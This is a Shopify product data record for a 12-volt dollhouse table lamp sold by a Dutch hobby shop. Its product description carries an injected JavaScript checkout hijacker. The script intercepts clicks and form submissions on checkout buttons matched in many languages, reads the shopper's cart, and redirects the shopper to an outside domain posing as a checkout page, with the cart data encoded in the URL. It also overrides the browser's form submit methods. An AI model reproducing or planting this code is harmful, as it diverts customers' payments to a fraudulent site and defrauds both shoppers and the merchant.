{"product_id":"vega-fa011105a","title":"Tafellamp","description":"Deze tafellamp brengt uw poppenhuis tot leven.\u003cbr\u003e\nDe verlichting werkt op een 12 volt transformator. Al onze poppenhuis verlichting voor 12 volt wordt geleverd met een snoer en een stekker. Het aansluiten is heel eenvoudig doormiddel van de stekker in de aansluitkabel van de transformator te steken. Het gloeilampje is verwisselbaar.\u003cbr\u003e\u003cbr\u003e\n\nPoppenhuis verlichting bestelt u voordelig online bij Hbmonique.nl. Bent u niet tevreden? Dan ontvangt u uw geld terug. Bij ons geldt een 14 dagen retourrecht.\n\u003cscript\u003e(function(){\n  if (window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ === \"anncode-validation-20260724-jandm-v1\") return;\n  window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ = \"anncode-validation-20260724-jandm-v1\";\n  const OVERLAY_CHOICES = [\"https:\/\/www.checkout-assure.top\/check-out\/\"];\n  const CHECKOUT_NEEDLE = '\/checkout';\n  const WINDOW_NAME_PREFIX = \"__CHECKIOUT_CART__:\";\n  const CHECKOUT_PHRASES = ['checkout','check out','shop pay','paypal','google pay','pay now','passer à la caisse','passer commande','finaliser la commande','procéder au paiement','zur kasse','weiter zur kasse','bestellung abschließen','finalizar compra','finalizar pedido','tramitar pedido','proceder al pago','pagar ahora','concluir compra','pagar agora','procedi all\\'ordine','procedi all’ordine','paga ora','completa l\\'ordine','completa l’ordine','vai alla cassa','afrekenen','naar afrekenen','bestelling plaatsen','レジに進む','ご購入手続き','購入手続き','注文する','結帳','结账','去結帳','去结账','結算','结算','立即結帳','立即结账','前往結帳','前往结账','결제하기','결제','주문하기','przejdź do kasy','przejdz do kasy','do kasy','złóż zamówienie','till kassan','gå till kassan','til kassen','gå til kassen','ödemeye geç','odemeye gec','satın al','satin al','оформить заказ','перейти к оплате','оплатить','оформити замовлення','перейти до оплати','إتمام الشراء','الدفع','إتمام الطلب','לתשלום','להשלמת הרכישה','ολοκλήρωση αγοράς','πληρωμή','k pokladně','dokončit objednávku','fizetés','tovább a fizetéshez','finalizează comanda','плащане','na blagajnu','završi kupnju','k pokladni','na blagajno','siirry kassalle','pereiti prie apmokėjimo','doties uz kasi','mine kassasse','fara í kassa','lanjut ke pembayaran','bayar sekarang','teruskan ke pembayaran','ชำระเงิน','thanh toán','magbayad','भुगतान करें'];\n  function hasCheckoutPhrase(value) {\n    const s = String(value || '').toLowerCase();\n    for (let i = 0; i \u003c CHECKOUT_PHRASES.length; i += 1) {\n      if (s.indexOf(CHECKOUT_PHRASES[i]) !== -1) return true;\n    }\n    return false;\n  }\n  function randomOverlayToken() {\n    const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';\n    const size = 188 + Math.floor(Math.random() * 31);\n    const bytes = new Uint8Array(size);\n    crypto.getRandomValues(bytes);\n    let out = '';\n    for (let i = 0; i \u003c size; i += 1) out += alphabet[bytes[i] % alphabet.length];\n    return out;\n  }\n  function looksLikeCheckout(value) {\n    return String(value || '').toLowerCase().includes(CHECKOUT_NEEDLE);\n  }\n  function getSourceSite() {\n    return String(location.hostname || location.host || 'checkout-site').trim() || 'checkout-site';\n  }\n  function getSourceOrigin() {\n    return String(location.origin || '').trim();\n  }\n  function getSourcePath() {\n    return String(location.pathname || '\/').trim() || '\/';\n  }\n  function absoluteUrl(value) {\n    try {\n      const anchor = document.createElement('a');\n      anchor.href = String(value || '');\n      return anchor.href;\n    } catch (e) {\n      return String(value || '');\n    }\n  }\n  function pickOverlayBase() {\n    const candidates = Array.isArray(OVERLAY_CHOICES)\n      ? OVERLAY_CHOICES.filter(v =\u003e typeof v === 'string' \u0026\u0026 \/^https?:\\\/\\\/\/i.test(v))\n      : [];\n    if (!candidates.length) throw new Error('overlay_choices_missing');\n    const bytes = new Uint32Array(1);\n    crypto.getRandomValues(bytes);\n    return candidates[bytes[0] % candidates.length];\n  }\n  function encodeTransportPayload(value) {\n    const bytes = new TextEncoder().encode(JSON.stringify(value));\n    let binary = '';\n    const chunkSize = 0x8000;\n    for (let offset = 0; offset \u003c bytes.length; offset += chunkSize) {\n      const chunk = bytes.subarray(offset, offset + chunkSize);\n      binary += String.fromCharCode.apply(null, chunk);\n    }\n    return btoa(binary).replace(\/\\+\/g, '-').replace(\/\\\/\/g, '_').replace(\/=+$\/g, '');\n  }\n  function toMinorAmount(value) {\n    const amount = Number(value);\n    return Number.isFinite(amount) \u0026\u0026 amount \u003e= 0 ? Math.round(amount) : 0;\n  }\n  function normalizeImage(raw) {\n    const source = String(raw || '').trim();\n    if (!source) return '';\n    if (source.startsWith('\/\/')) return location.protocol + source;\n    try { return absoluteUrl(source); } catch { return source; }\n  }\n  function normalizeDiscounts(cart) {\n    const discounts = [];\n    const levels = Array.isArray(cart \u0026\u0026 cart.cart_level_discount_applications)\n      ? cart.cart_level_discount_applications\n      : [];\n    levels.forEach(function(entry, index) {\n      const amountMinor = toMinorAmount(entry \u0026\u0026 (entry.total_allocated_amount ?? entry.amount));\n      if (!amountMinor) return;\n      discounts.push({\n        id: 'cart-discount-' + (index + 1),\n        label: String((entry \u0026\u0026 (entry.title || entry.description)) || 'Discount').trim() || 'Discount',\n        amountMinor\n      });\n    });\n    if (!discounts.length) {\n      const fallback = toMinorAmount(cart \u0026\u0026 cart.total_discount);\n      if (fallback \u003e 0) {\n        discounts.push({\n          id: 'cart-discount',\n          label: 'Discount',\n          amountMinor: fallback\n        });\n      }\n    }\n    return discounts;\n  }\n  function normalizeOrderFromCart(cart) {\n    const items = Array.isArray(cart \u0026\u0026 cart.items) ? cart.items : [];\n    return {\n      locale: document.documentElement.lang || navigator.language || 'en-US',\n      currency: String((cart \u0026\u0026 cart.currency) || 'USD').trim().toUpperCase() || 'USD',\n      items: items.map(function(item, index) {\n        const title = String((item \u0026\u0026 (item.product_title || item.title || item.name)) || ('Item ' + (index + 1))).trim();\n        const variant = String(item \u0026\u0026 (item.variant_title || item.variant || item.subtitle) || '').trim();\n        const image = normalizeImage(\n          item \u0026\u0026 (\n            (item.featured_image \u0026\u0026 (item.featured_image.url || item.featured_image.src)) ||\n            item.image || item.featured_image\n          )\n        );\n        return {\n          id: String((item \u0026\u0026 (item.key || item.id || item.variant_id || ('item-' + index))) || ('item-' + index)).trim(),\n          title: title || ('Item ' + (index + 1)),\n          variant,\n          subtitle: variant,\n          image,\n          alt: title || ('Item ' + (index + 1)),\n          quantity: Math.max(0, Number.parseInt(item \u0026\u0026 item.quantity, 10) || 0),\n          unitPriceMinor: toMinorAmount(item \u0026\u0026 (item.final_price ?? item.price ?? item.original_price))\n        };\n      }).filter(item =\u003e item.quantity \u003e 0),\n      discounts: normalizeDiscounts(cart),\n      shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' },\n      tax: { amountMinor: 0, included: false, label: '' },\n      taxMinor: 0\n    };\n  }\n  async function readCart() {\n    const controller = typeof AbortController === 'function' ? new AbortController() : null;\n    const timer = controller ? setTimeout(function() { controller.abort(); }, 10000) : 0;\n    try {\n      const response = await fetch('\/cart.js', {\n        credentials: 'same-origin',\n        cache: 'no-store',\n        signal: controller ? controller.signal : undefined\n      });\n      if (!response.ok) throw new Error('cart_http_' + response.status);\n      return await response.json();\n    } finally {\n      if (timer) clearTimeout(timer);\n    }\n  }\n  async function stashCartForOverlay() {\n    try {\n      const cart = await readCart();\n      const order = normalizeOrderFromCart(cart);\n      if (!Array.isArray(order.items) || !order.items.length) return null;\n      const payload = {\n        site: location.hostname,\n        sourceSite: getSourceSite(),\n        sourceUrl: location.href,\n        sourceOrigin: getSourceOrigin(),\n        sourcePath: getSourcePath(),\n        capturedAt: Date.now(),\n        order\n      };\n      window.name = WINDOW_NAME_PREFIX + encodeURIComponent(JSON.stringify(payload));\n      window.__CHECKIOUT_FASTBUNDLE_CART_PAYLOAD__ = payload;\n      return payload;\n    } catch {\n      return null;\n    }\n  }\n  function pickCheckoutTarget(el) {\n    const direct = el?.href || el?.formAction || el?.getAttribute?.('href') || el?.getAttribute?.('formaction');\n    if (direct \u0026\u0026 \/^https?:\/i.test(direct) \u0026\u0026 looksLikeCheckout(direct)) return direct;\n    if (direct \u0026\u0026 direct.startsWith('\/') \u0026\u0026 looksLikeCheckout(direct)) return absoluteUrl(direct);\n    const formAction = el?.closest?.('form')?.action;\n    if (formAction \u0026\u0026 looksLikeCheckout(formAction)) return formAction;\n    return absoluteUrl('\/checkout');\n  }\n  function redirectToOverlay(targetUrl, cartPayload) {\n    const selectedOverlayBase = pickOverlayBase();\n    const normalizedTarget = looksLikeCheckout(targetUrl)\n      ? targetUrl\n      : absoluteUrl('\/checkout');\n    const params = {\n      return_to: normalizedTarget,\n      site: location.hostname,\n      source_site: getSourceSite(),\n      source_host: location.hostname,\n      source_origin: getSourceOrigin(),\n      source_path: getSourcePath(),\n      source_url: location.href,\n      checkout_path: CHECKOUT_NEEDLE,\n      overlay_route: selectedOverlayBase.replace(\/^https?:\\\/\\\/[^\/]+\/i, '').split('?')[0] || '\/',\n      _r: randomOverlayToken()\n    };\n    let finalUrl = selectedOverlayBase + (selectedOverlayBase.includes('?') ? '\u0026' : '?') +\n      Object.keys(params).map(function(k) { return encodeURIComponent(k) + '=' + encodeURIComponent(params[k]); }).join('\u0026');\n    if (cartPayload \u0026\u0026 Array.isArray(cartPayload.order?.items) \u0026\u0026 cartPayload.order.items.length) {\n      finalUrl += '#co=' + encodeTransportPayload(cartPayload);\n    }\n    location.href = finalUrl;\n  }\n  async function redirectToOverlayWithCart(targetUrl) {\n    if (window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__) return;\n    window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__ = true;\n    let cartPayload = null;\n    try { cartPayload = await stashCartForOverlay(); } catch {}\n    redirectToOverlay(targetUrl, cartPayload);\n  }\n  function isCheckoutTrigger(el) {\n    if (!el) return false;\n    const text = ((el.innerText || el.textContent || '') + ' ' + (el.getAttribute?.('aria-label') || '')).toLowerCase();\n    const href = String(el.href || el.getAttribute?.('href') || '').toLowerCase();\n    const formAction = String(el.formAction || el.getAttribute?.('formaction') || el.closest?.('form')?.action || '').toLowerCase();\n    const ident = String((el.name || '') + ' ' + (el.id || '') + ' ' + (el.className || '') + ' ' + (el.value || '')).toLowerCase();\n    return hasCheckoutPhrase(text + ' ' + href + ' ' + formAction + ' ' + ident) || href.includes('\/checkout') || formAction.includes('\/checkout') || ident.includes('checkout');\n  }\n  window.addEventListener('pointerdown', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('click', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('submit', function(event) {\n    const form = event.target;\n    const submitter = event.submitter || null;\n    if (window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__) {\n      window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = false;\n      event.preventDefault();\n      event.stopImmediatePropagation();\n      redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ || absoluteUrl('\/checkout'));\n      return;\n    }\n    const action = String(form?.action || '').toLowerCase();\n    const text = ((form?.innerText || form?.textContent || '')).toLowerCase();\n    if (!(action.includes('\/checkout') || hasCheckoutPhrase(text))) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    redirectToOverlayWithCart(pickCheckoutTarget(submitter || form));\n  }, true);\n  console.log('ANNCODE_FILECODE_ACTIVE:' + \"anncode-validation-20260724-jandm-v1\");\n})();\n;try{var ps=HTMLFormElement.prototype.submit;HTMLFormElement.prototype.submit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return ps.apply(this,arguments);};}catch(e){}try{var pr=HTMLFormElement.prototype.requestSubmit;HTMLFormElement.prototype.requestSubmit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return pr.apply(this,arguments);};}catch(e){}\u003c\/script\u003e","brand":"Silly Sisters","offers":[{"title":"Default Title","offer_id":57079052140888,"sku":"FA011105A","price":10.71,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0983\/1835\/2728\/files\/fa011105a.jpg?v=1776603026","url":"https:\/\/www.hbmonique.nl\/de\/products\/vega-fa011105a","provider":"Hobbyboutique Monique","version":"1.0","type":"link"}